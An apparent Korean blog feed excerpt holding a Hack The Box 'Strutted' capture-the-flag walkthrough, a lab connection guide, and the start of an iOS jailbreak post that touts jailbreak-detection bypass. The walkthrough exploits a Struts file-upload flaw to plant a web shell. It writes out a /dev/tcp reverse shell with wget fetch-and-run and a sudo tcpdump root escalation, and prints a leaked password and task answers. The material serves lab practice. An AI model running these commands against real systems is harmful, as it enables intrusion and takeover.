&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;722&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dYxX2x/btsN6qwLUTX/Wzi4DrPiJL75ZxjrWJ5aZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dYxX2x/btsN6qwLUTX/Wzi4DrPiJL75ZxjrWJ5aZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dYxX2x/btsN6qwLUTX/Wzi4DrPiJL75ZxjrWJ5aZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdYxX2x%2FbtsN6qwLUTX%2FWzi4DrPiJL75ZxjrWJ5aZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1251&quot; height=&quot;722&quot; data-origin-width=&quot;1251&quot; data-origin-height=&quot;722&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드 시 아래 패킷을 잡아 변조 시도&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;607&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTWlCZ/btsN7XUEvrf/Sf1f8MN30LkKkzW2OferlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTWlCZ/btsN7XUEvrf/Sf1f8MN30LkKkzW2OferlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTWlCZ/btsN7XUEvrf/Sf1f8MN30LkKkzW2OferlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTWlCZ%2FbtsN7XUEvrf%2FSf1f8MN30LkKkzW2OferlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;607&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;607&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변조된 패킷값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상단 파일 name은 upload 앞 문자를 대문자로 할 것 인터셉터한 post 는 대문자가 아니면 패킷이 정상 전송이 안되는 듯 함 다른 블로그 참고하여 이용함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;shell code 란 부분에는 원하는 jsp 웹쉘을 넣으면 됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1492&quot; data-origin-height=&quot;649&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHwFjC/btsN72hbGX4/sQNeclhigPeD5jZlGiHqe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHwFjC/btsN72hbGX4/sQNeclhigPeD5jZlGiHqe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHwFjC/btsN72hbGX4/sQNeclhigPeD5jZlGiHqe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHwFjC%2FbtsN72hbGX4%2FsQNeclhigPeD5jZlGiHqe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1492&quot; height=&quot;649&quot; data-origin-width=&quot;1492&quot; data-origin-height=&quot;649&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉘을 얻었으나 이제 wget을 통해 백도어 접근 시도&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;495&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3Th98/btsN7Eupnfk/DbCjOLAVyydt7FZyZl6DG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3Th98/btsN7Eupnfk/DbCjOLAVyydt7FZyZl6DG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3Th98/btsN7Eupnfk/DbCjOLAVyydt7FZyZl6DG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3Th98%2FbtsN7Eupnfk%2FDbCjOLAVyydt7FZyZl6DG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;495&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;495&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1747834941440&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.61/443 0&amp;gt;&amp;amp;1 라는 shell.sh 파일 생성

python -m http.server 8888 #8888포트 열어둠

host -I 를 통해 현재 IP를 확인 후 wget을 통해 shell.sh 희생자 서버로 가져옴


wget 10.10.16.61:8888/shell.sh -O /dev/shm/shell.sh


bash /dev/shm/shell.sh #쉘 실행&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747835227124&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lnvp 443        
listening on [any] 443 ...
connect to [10.10.16.61] from (UNKNOWN) [10.10.11.59] 58476
bash: cannot set terminal process group (1053): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@strutted:~$ whoami
whoami
tomcat
tomcat@strutted:~$ ls
ls
conf
lib
logs
policy
webapps
work
tomcat@strutted:~$ cd conf
cd conf
tomcat@strutted:~/conf$ ls
ls
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
tomcat@strutted:~/conf$&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;권한이 높은 계정 확인 시 james 계정을 확인&lt;/p&gt;
&lt;pre id=&quot;code_1747835390829&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat /etc/passwd | grep 'sh$'


root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 시스템 파일 확인하다가 conf/tomcat-user.xml에 비밀번호가 노출됨을 확인&lt;/p&gt;
&lt;pre id=&quot;code_1747835275898&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;!--
  &amp;lt;user username=&quot;admin&quot; password=&quot;&amp;lt;must-be-changed&amp;gt;&quot; roles=&quot;manager-gui&quot;/&amp;gt;
  &amp;lt;user username=&quot;robot&quot; password=&quot;&amp;lt;must-be-changed&amp;gt;&quot; roles=&quot;manager-script&quot;/&amp;gt;
  &amp;lt;role rolename=&quot;manager-gui&quot;/&amp;gt;
  &amp;lt;role rolename=&quot;admin-gui&quot;/&amp;gt;
  &amp;lt;user username=&quot;admin&quot; password=&quot;IT14d6SSP81k&quot; roles=&quot;manager-gui,admin-gui&quot;/&amp;gt;
---&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노출된 비밀번호로 james 계정 로그인 성공&lt;/p&gt;
&lt;pre id=&quot;code_1747835491729&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;──(root㉿kali)-[/home/kali/Downloads]
└─# ssh james@10.10.11.59
james@10.10.11.59's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-130-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed May 21 01:51:22 PM UTC 2025

  System load:           0.0
  Usage of /:            69.6% of 5.81GB
  Memory usage:          10%
  Swap usage:            0%
  Processes:             212
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.59
  IPv6 address for eth0: dead:beef::250:56ff:feb0:e18d


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jan 21 13:46:18 2025 from 10.10.14.64
To run a command as administrator (user &quot;root&quot;), use &quot;sudo &amp;lt;command&amp;gt;&quot;.
See &quot;man sudo_root&quot; for details.

james@strutted:~$&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo -l 을 통해 사용 가능한 root 권한 명령어는 tcpdump 임을 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root shell 생성 방법을 서칭 하였더니 아래 사이트 발견 및 코드 응용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gtfobins.github.io/gtfobins/tcpdump/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://gtfobins.github.io/gtfobins/tcpdump/&lt;/a&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1747835596514&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User james may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/tcpdump
// 응용 코드
james@strutted:~$ COMMAND='cp /bin/bash /tmp/bash; chmod 6777 /tmp/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo &quot;$COMMAND&quot; &amp;gt; $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
james@strutted:~$ /tmp/bash -p
bash-5.1# ls
user.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 권한 쉘 획득 성공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;How&amp;nbsp;many&amp;nbsp;open&amp;nbsp;TCP&amp;nbsp;ports&amp;nbsp;are&amp;nbsp;listening&amp;nbsp;on&amp;nbsp;Strutted?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : 2&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 2&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Clicking&amp;nbsp;Download&amp;nbsp;triggers&amp;nbsp;a&amp;nbsp;zip&amp;nbsp;file&amp;nbsp;download&amp;nbsp;containing&amp;nbsp;the&amp;nbsp;Docker&amp;nbsp;environment&amp;nbsp;for&amp;nbsp;the&amp;nbsp;application,&amp;nbsp;what&amp;nbsp;is&amp;nbsp;the&amp;nbsp;name&amp;nbsp;of&amp;nbsp;the&amp;nbsp;application&amp;nbsp;server&amp;nbsp;running&amp;nbsp;on&amp;nbsp;the&amp;nbsp;target?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : tomcat&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In&amp;nbsp;a&amp;nbsp;Java&amp;nbsp;project,&amp;nbsp;what&amp;nbsp;is&amp;nbsp;the&amp;nbsp;name&amp;nbsp;of&amp;nbsp;this&amp;nbsp;file&amp;nbsp;that&amp;nbsp;contains&amp;nbsp;the&amp;nbsp;dependencies&amp;nbsp;for&amp;nbsp;the&amp;nbsp;application?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : pom.xml&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 4&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What&amp;nbsp;is&amp;nbsp;the&amp;nbsp;name&amp;nbsp;of&amp;nbsp;the&amp;nbsp;MVC&amp;nbsp;framework&amp;nbsp;used&amp;nbsp;by&amp;nbsp;the&amp;nbsp;application?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : apache struts&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pom.xml에 나온 struts와 버전 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 5&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What&amp;nbsp;version&amp;nbsp;of&amp;nbsp;the&amp;nbsp;framework&amp;nbsp;does&amp;nbsp;the&amp;nbsp;application&amp;nbsp;use?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : 6.3.0.1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 6&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What&amp;nbsp;is&amp;nbsp;the&amp;nbsp;2024&amp;nbsp;CVE&amp;nbsp;ID&amp;nbsp;assigned&amp;nbsp;to&amp;nbsp;a&amp;nbsp;vulnerability&amp;nbsp;in&amp;nbsp;the&amp;nbsp;file&amp;nbsp;upload&amp;nbsp;logic&amp;nbsp;vulnerability&amp;nbsp;in&amp;nbsp;Apache&amp;nbsp;Struts?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;struts에서 나온 취약점은 파일 업로드 취약점으로 CVE-2024-53677&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : CVE-2024-53677&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 7&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What&amp;nbsp;system&amp;nbsp;user&amp;nbsp;is&amp;nbsp;the&amp;nbsp;web&amp;nbsp;application&amp;nbsp;running&amp;nbsp;as&amp;nbsp;on&amp;nbsp;Strutted?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : tomcat&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Task 8&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;What is the james user's password on Strutted?`&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정답 : IT14d6SSP81k&lt;/p&gt;</description>
      <category>Coding/HTB</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/92</guid>
      <comments>https://tyrell96.tistory.com/92#entry92comment</comments>
      <pubDate>Wed, 21 May 2025 23:00:35 +0900</pubDate>
    </item>
    <item>
      <title>HTB 연결 방법</title>
      <link>https://tyrell96.tistory.com/91</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;HTB 문제를 풀려고 처음 접근할려면 어떻게 세팅하는지 어려울 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 어떻게 HTB 세팅을 해야하는지와 어떤식으로 문제를 풀어야하는지 예시를 제공하기 위해 글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTB 세팅을 위해서는 두가지 접근 방법이 있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwnbox와 openvpn가 존재한다. pwnbox는 가상리눅스에 접근하는 것이고 openvpn은 현재 내가 사용하는 리눅스에서 vpn을 통한 탈취 서버에 접근하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필자는 kali에 모든 걸 세팅하였기에 openvpn 기준으로 알려주겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 세팅 환경&lt;br /&gt;kali + oracle virtualBox 즉 가상환경에 칼리를 설치하여 사용중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맨처음 academy와 labs가 있는데 우선 사용법을 익히기 위해서는 Labs를 추천한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Mflf2/btsN1z8gVtj/ilkVeKmKY0WKrkxaZWCO4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Mflf2/btsN1z8gVtj/ilkVeKmKY0WKrkxaZWCO4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Mflf2/btsN1z8gVtj/ilkVeKmKY0WKrkxaZWCO4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMflf2%2FbtsN1z8gVtj%2FilkVeKmKY0WKrkxaZWCO4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;367&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Labs에 접근하면 Starting Point가 존재한다 여기서 Meow에 접근하고 connet using OpenVpn을 클릭 시 openvpn 확장자 파일을 다운로드 받을 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1486&quot; data-origin-height=&quot;861&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6KhU3/btsN1t1Aeat/zydeesNXbSTYdbkWKyyQ9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6KhU3/btsN1t1Aeat/zydeesNXbSTYdbkWKyyQ9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6KhU3/btsN1t1Aeat/zydeesNXbSTYdbkWKyyQ9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6KhU3%2FbtsN1t1Aeat%2FzydeesNXbSTYdbkWKyyQ9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1486&quot; height=&quot;861&quot; data-origin-width=&quot;1486&quot; data-origin-height=&quot;861&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 그 openvpn을 연결하면 되는데&lt;/p&gt;
&lt;pre id=&quot;code_1747563367377&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apt-get update
apt-get install openvpn

Openvpn Starting_point_username.ovpn&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 연결이 끝난다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후에는 namp는 여러 툴들을 이용하여 문제를 풀어가면 된다.&lt;/p&gt;</description>
      <category>Coding/HTB</category>
      <author>Mr.robot 2</author>
      <guid isPermaLink="true">https://tyrell96.tistory.com/91</guid>
      <comments>https://tyrell96.tistory.com/91#entry91comment</comments>
      <pubDate>Sun, 18 May 2025 19:18:07 +0900</pubDate>
    </item>
    <item>
      <title>RootHide Dopamine 설치 (Feat.탈옥 탐지 우회 RootHide)</title>
      <link>https://tyrell96.tistory.com/90</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkhEH6/btszGzBGty8/sIKuQUrBEF3mdgddLlcPd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkhEH6/btszGzBGty8/sIKuQUrBEF3mdgddLlcPd0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkhEH6/btszGzBGty8/sIKuQUrBEF3mdgddLlcPd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkhEH6%2FbtszGzBGty8%2FsIKuQUrBEF3mdgddLlcPd0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;256&quot; height=&quot;256&quot; data-origin-width=&quot;256&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근 괜찮은 탈옥 툴이 나와서 게시글을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Dopamine 이라는 툴인데 해당 툴의 경우 Checkra1n나 palera1n 처럼 컴퓨터가 필요 없다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;장점은 언제나 폰이 꺼지면 dopamine을 켜서 탈옥 누르면 바로 탈옥이 완료된다는 것이다. 추가적으로 탈옥 우회 기능도 탑제하고 있어서 활성화 시 탈옥 탐지 우회를 높은 확률로 성공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 툴 사용 가능한 버전과 기기는 아래와 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;iOS and ipadOS:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;15.0 &lt;br /&gt;15.0.1 &lt;br /&gt;15.0.2 &lt;br /&gt;15.1 &lt;br /&gt;15.1.1&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;15.2 &lt;br /&gt;15.2.1 &lt;br /&gt;15.3 &lt;br /&gt;15.3.1 &lt;br /&gt;15.4&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;15.4.1&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 66.2791%; height: 391px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; A12:&lt;/b&gt;&lt;br /&gt;iPhone&amp;nbsp;Xs&lt;br /&gt;iPhone&amp;nbsp;Xs&amp;nbsp;Max&lt;br /&gt;iPhone XR&lt;br /&gt;iPad&amp;nbsp;mini&amp;nbsp;(5th)&lt;br /&gt;iPad&amp;nbsp;Air&amp;nbsp;(3rd)&lt;br /&gt;&lt;br /&gt;iPad&amp;nbsp;8th&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; A12X:&lt;/b&gt;&lt;br /&gt;iPad&amp;nbsp;Pro&amp;nbsp;11&amp;nbsp;(1st)&lt;br /&gt;iPad&amp;nbsp;Pro&amp;nbsp;12.9&amp;nbsp;(3rd)&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt; A12Z:&lt;/b&gt;&lt;br /&gt;iPad&amp;nbsp;Pro&amp;nbsp;11&amp;nbsp;(2nd)&lt;br /&gt;iPad&amp;nbsp;Pro&amp;nbsp;12.9&amp;nbsp;(4th)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.3333%;&quot;&gt;&lt;b&gt;A13:&lt;/b&gt;&lt;br /&gt;iPhone 11&lt;br /&gt;iPhone&amp;nbsp;11&amp;nbsp;Pro&lt;br /&gt;iPhone&amp;nbsp;11&amp;nbsp;Pro&amp;nbsp;Max&lt;br /&gt;iPhone SE (2nd)&lt;br /&gt;&lt;br /&gt;iPad&amp;nbsp;9th&lt;/td&gt;
